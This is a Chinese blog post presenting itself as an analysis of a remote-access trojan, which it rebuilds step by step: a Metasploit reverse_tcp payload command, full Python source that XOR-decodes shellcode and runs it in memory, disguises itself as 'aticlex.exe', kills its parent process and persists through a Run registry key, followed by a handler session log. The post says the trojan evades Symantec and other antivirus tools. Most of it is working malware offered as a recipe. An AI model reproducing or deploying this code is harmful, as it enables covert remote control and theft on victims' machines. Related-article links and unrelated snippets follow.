最近分析的一个远控,后发现是meterpreter rever http shell,文件是个打包的python(打包成exe),感谢wstone的指导~

创建dll

./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444  -t dll X > /tmp/sc.dll

python

main.py

import sys, os
import shutil
import time
import ctypes
import glob
import multiprocessing
import multiprocessing.forking
from sc import sc
from win32file import GetLongPathName
import _winreg
from itertools import izip, cycle
from utils import getppid, kill, get_base_dir RECONNECT_SLEEP = 60
STARTUP_SLEEP = 30
CHILD_STARTUP_SLEEP = 10 METER_NAME = "aticlex.exe"
METER_DIR = "AMD"
USER_DIR = os.path.expanduser("~") try:
from win32com.shell import shellcon, shell
APPDATA_DIR = shell.SHGetFolderPath(0, shellcon.CSIDL_APPDATA, 0, 0)
DATA_DIR = os.path.join(APPDATA_DIR, METER_DIR)
except:
DATA_DIR = os.path.join(USER_DIR, METER_DIR) METER_PATH = os.path.join(DATA_DIR, METER_NAME) class _Popen(multiprocessing.forking.Popen):
def __init__(self, *args, **kw):
if hasattr(sys, 'frozen'):
os.putenv('_MEIPASS2', sys._MEIPASS)
try:
super(_Popen, self).__init__(*args, **kw)
finally:
if hasattr(sys, 'frozen'):
os.unsetenv('_MEIPASS2') class Process(multiprocessing.Process):
_Popen = _Popen class Worker(Process): def xor(self, data, key='\x41\x82\x99\x73\x12\xf8\x0e\x38'):
return ''.join(chr(ord(c)^ord(k)) for c,k in izip(data, cycle(key))) def run(self):
time.sleep(CHILD_STARTUP_SLEEP)
code = self.xor(sc)
cbuf = ctypes.create_string_buffer(code)
func = ctypes.cast(cbuf, ctypes.CFUNCTYPE(ctypes.HRESULT))
func() def install():
reg = _winreg.ConnectRegistry(None, _winreg.HKEY_CURRENT_USER)
key = _winreg.OpenKey(reg, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, _winreg.KEY_ALL_ACCESS)
_winreg.SetValueEx(key, METER_NAME.split(".")[0], 0, _winreg.REG_SZ, METER_PATH) path = GetLongPathName(sys.executable)
if path != METER_PATH:
if not os.path.exists(DATA_DIR):
os.makedirs(DATA_DIR)
try:
shutil.copy(path, METER_PATH)
except Exception as e:
sys.exit(1)
os.execve(METER_PATH, [METER_PATH], os.environ) def clean():
try:
base_dir = get_base_dir()
temp_dir = os.path.abspath(os.path.join(base_dir, os.pardir))
mei = base_dir.split("\\")[-1]
pattern = "%s\\_MEI*" % temp_dir
for path in glob.glob(pattern):
path = GetLongPathName(path)
if path != base_dir and mei.lower() not in path.lower():
try:
shutil.rmtree(path)
except:
pass
except:
pass def main():
kill(getppid())
time.sleep(STARTUP_SLEEP)
install()
clean()
while True:
p = Worker()
p.daemon = True
p.start()
p.join()
time.sleep(RECONNECT_SLEEP) if __name__ == "__main__":
multiprocessing.freeze_support()
main()

sc.py

sc='\x12\x34' .........

# sc = sc.dll open with rb mode

然后pythoninstall 生成exe。

  

监听:

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run [*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500
meterpreter >

 

木马特征:

添加注册表启动项,定时load msf payload,过赛门铁克等杀软。

python+msf 制作 windows远控的更多相关文章

  1. 利用kage把msf变成可视化远控平台

    项目下载https://github.com/WayzDev/Kage/releases 这里用kali系统演示 1,先下载kage: 2,右击给予执行权限 3,启动msf msfconsole -q ...

  2. 用nc+简单bat/vbs脚本+winrar制作迷你远控后门

    前言 某大佬某天和我聊起了nc,并且提到了nc正反向shell这个概念. 我对nc之前的了解程度仅局限于:可以侦听TCP/UDP端口,发起对应的连接. 真正的远控还没实践过,所以决定写个小后门试一试. ...

  3. 使用kali生成远控payload

    kali linux中的metasploit框架是优秀的渗透框架之一,今天记载一下使用kali生成windows远控木马的过程 生成payload使用的工具是MSFVenom,我们输入msfvenom ...

  4. 远控项目(Windows Socket)

    实现内容(屏幕,鼠标,键盘实时控制) 控制端: #pragma once #ifndef keybd_H #define keybd_H #include <stdio.h> #inclu ...

  5. Python解决网吧收费系统,远控网吧电脑设备!

    python破解网吧收费系统,远控网吧电脑设备! 很多人学习python,不知道从何学起.很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手.很多已经做案例的人,却不知道如何去学习更 ...

  6. python破解网吧收费系统,远控网吧电脑设备!

      我今天呢 , 我就没事跟着朋友喝酒喝酒啊.喝了很多啊.晚上到旁边的酒店开了一个房间,到了酒店才十点! 感觉没啥事情干的,那就去网吧走走看把,看到是一个嘟嘟牛的,和上次是一样的.还是照常用MS170 ...

  7. Python3实现ICMP远控后门(中)之“嗅探”黑科技

    ICMP后门 前言 第一篇:Python3实现ICMP远控后门(上) 第二篇:Python3实现ICMP远控后门(上)_补充篇 在上两篇文章中,详细讲解了ICMP协议,同时实现了一个具备完整功能的pi ...

  8. HackingTeam重磅炸弹: 估值超1000万美金带有军火交易性质的木马病毒以及远控源代码泄露

    [简单介绍] 经常使用网名: 猪头三 出生日期: 1981.XX.XX 个人站点: http://www.x86asm.com QQ交流: 643439947 编程生涯: 2001年~至今[共14年] ...

  9. Python3实现ICMP远控后门(上)

    这几天一直在研究远控木马的一些通信协议,比如TCP,UDP,ICMP,DNS,HTTP等等,对于TCP,UDP这两种就不讲解了,因为太常见了. 大家可能对采用ICMP,DNS的木马不是很熟悉,其实这两 ...

随机推荐

  1. springmvc基础篇—掌握三种控制器

    上一篇文章中我们讲过了处理器的映射,接下来我们来一起学习下springmvc的控制器吧. 首先咱们先创建一个咱们用来测试的实体(model)类: package cn.cfs.springmvc.do ...

  2. Windows自带的磁盘填充命令

    一张不用了的SD卡要给别人,之前一直是手机使用的,担心有一些资料被恢复,想要将它内容清空.以前就知道数字公司有一个磁盘填充的工具,后来网上搜一搜发现Windows有一个自带的命令用于磁盘填充. 首先进 ...

  3. Centos6.5

    1.首先我们需要检测系统是否自带安装mysql # yum list installed | grep mysql 2.如果发现有系统自带mysql,果断这么干 # yum -y remove mys ...

  4. 为Zabbix配置RabbitMQ监控模板

    RabbitMQ的配置参考 https://github.com/jasonmcintosh/rabbitmq-zabbix 简而言之,具体分为几个步骤: 1. 将脚本文件(scripts文件夹)和配 ...

  5. 1030 Travel Plan (30 分)(最短路径 and dfs)

    #include<bits/stdc++.h> using namespace std; ; const int inf=0x3f3f3f3f; int mp[N][N]; bool vi ...

  6. ThinkPHP5项目目录规划实践

    ThinkPHP5安装后(或者下载后的压缩文件解压后)可以看到下面的目录结构: tp5├─application     应用目录 ├─extend          扩展类库目录(可定义) ├─pu ...

  7. [Node] Agenda 中文文档 定时任务调度系统[基础篇]

    Agenda简介 使用步骤概述 步骤详述 初始化 定义任务 参数说明: 配置任务 参数说明 设置监听 注意事项 Agenda简介 Agenda是一个定时任务管理模块,它将node中的定时任务存储在数据 ...

  8. URAL 1732 Ministry of Truth(KMP)

    Description In whiteblack on blackwhite is written the utterance that has been censored by the Minis ...

  9. asp.net Forms登录核心方法

    登录核心方法: private void Signin(string curUserId) { System.Web.Security.FormsAuthenticationTicket tk = , ...

  10. C# 获取方法所在的 命名空间 类名 方法名

    using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.D ...